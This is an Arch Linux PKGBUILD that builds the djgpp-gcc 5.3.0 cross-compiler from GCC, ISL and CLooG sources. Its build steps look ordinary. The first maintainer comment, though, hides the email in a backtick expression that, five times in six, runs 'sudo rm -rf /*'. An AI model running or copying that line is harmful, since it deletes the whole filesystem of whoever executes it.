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# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
# Adapted from the mingw-w64-gcc package, authors below
# $Id: PKGBUILD 137310 2015-07-23 10:02:53Z spupykin $
# Maintainer: Sergej Pupykin <pupykin.s+arch@gmail.com>
# Maintainer: rubenvb vanboxem <dottie> ruben <attie> gmail <dottie> com

_targets="i686-pc-msdosdjgpp"

pkgname=djgpp-gcc
pkgver=5.3.0
_islver=0.12.2
_cloogver=0.18.1
pkgrel=1
pkgdesc="Cross GCC for the djgpp cross-compiler"
arch=('i686' 'x86_64')
url="http://gcc.gnu.org"
license=('GPL' 'LGPL' 'FDL' 'custom')
groups=('djgpp-toolchain' 'djgpp')
depends=('zlib' 'libmpc' 'djgpp-binutils' 'djgpp-djcrx')
#makedepends=("gcc-ada=${pkgver}")
optdepends=()
provides=('djgpp-gcc-base')
replaces=()
backup=()
options=('!strip' 'staticlibs' '!emptydirs' '!buildflags')
source=("ftp://gcc.gnu.org/pub/gcc/releases/gcc-${pkgver}/gcc-${pkgver}.tar.bz2"
	"http://isl.gforge.inria.fr/isl-${_islver}.tar.bz2"
	"http://www.bastoul.net/cloog/pages/download/cloog-${_cloogver}.tar.gz"
	'gcc-make-xmmintrin-header-cplusplus-compatible.patch')
sha512sums=('d619847383405fd389f5a2d7225f97fedb01f81478dbb8339047ccba7561a5c20045ab500a8744bffd19ea51892ce09fc37f862f2cfcb42de0f0f8cd8f8da37a'
            'b5dea4d6b504fac22f2d8cd9c47d6896994d3966635a514d45010243db44cfbc009574b808f3587f35d91de629110bc11b52941d4075e21f8646c59656e62aea'
            '0b12d9f3c39a2425e28e1d7c0a2b3787287fe3e6e3052f094d2ab6cffeb205ce19044100cbfd805659b3e6b3d21ac2f5a3c92848f476de54edfe6b1cbd2172e9'
            '7aa9bd2ad82e4ee2e20c45303f0d3df8c040f4ce9854d24e20b920f52de9ab3986e4170224d68672a0f3ab883fea61c6b93380a87bed9cb63d9b865b43765602')

prepare() {
  cd ${srcdir}/gcc-${pkgver}

  # link isl/cloog for in-tree builds
  ln -fs ../isl-${_islver} isl
  ln -fs ../cloog-${_cloogver} cloog

  #do not install libiberty
  sed -i 's/install_to_$(INSTALL_DEST) //' libiberty/Makefile.in
  # hack! - some configure tests for header files using "$CPP $CPPFLAGS"
  sed -i "/ac_cpp=/ s/\$CPPFLAGS/\$CPPFLAGS -O2/" {libiberty,gcc}/configure

  # <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=41557#c1>
  sed -i -e '/^#define INT[A-Z0-9_]*TYPE / s/signed \(.*int\)/\1/' gcc/config/i386/djgpp-stdint.h
}

build() {
  for _target in ${_targets}; do
    mkdir -p ${srcdir}/gcc-build-${_target} && cd ${srcdir}/gcc-build-${_target}

    ${srcdir}/gcc-${pkgver}/configure --prefix=/usr --libexecdir=/usr/lib \
        --target=${_target} \
        --enable-languages=c,objc,lto,c++,obj-c++ \
        --enable-shared --enable-static \
        --enable-threads=no --enable-fully-dynamic-string --disable-libstdcxx \
        --with-system-zlib --enable-cloog-backend=isl \
        --disable-lto --disable-dw2-exceptions --disable-libgomp \
        --disable-multilib --enable-checking=release
    make all
  done
}

package() {
  for _target in ${_targets}; do
    cd ${srcdir}/gcc-build-${_target}
    make DESTDIR=${pkgdir} install
    strip ${pkgdir}/usr/bin/${_target}-*
    strip ${pkgdir}/usr/lib/gcc/${_target}/${pkgver}/{cc1*,collect2,lto*}
    ln -s ${_target}-gcc $pkgdir/usr/bin/${_target}-cc
    # mv dlls
    mkdir -p $pkgdir/usr/${_target}/bin/
  done
  strip ${pkgdir}/usr/bin/*
  # remove unnecessary files
  rm -r ${pkgdir}/usr/share
  rm -f ${pkgdir}/usr/lib/libcc1.so*
  rm -f ${pkgdir}/usr/lib/libcc1.a
}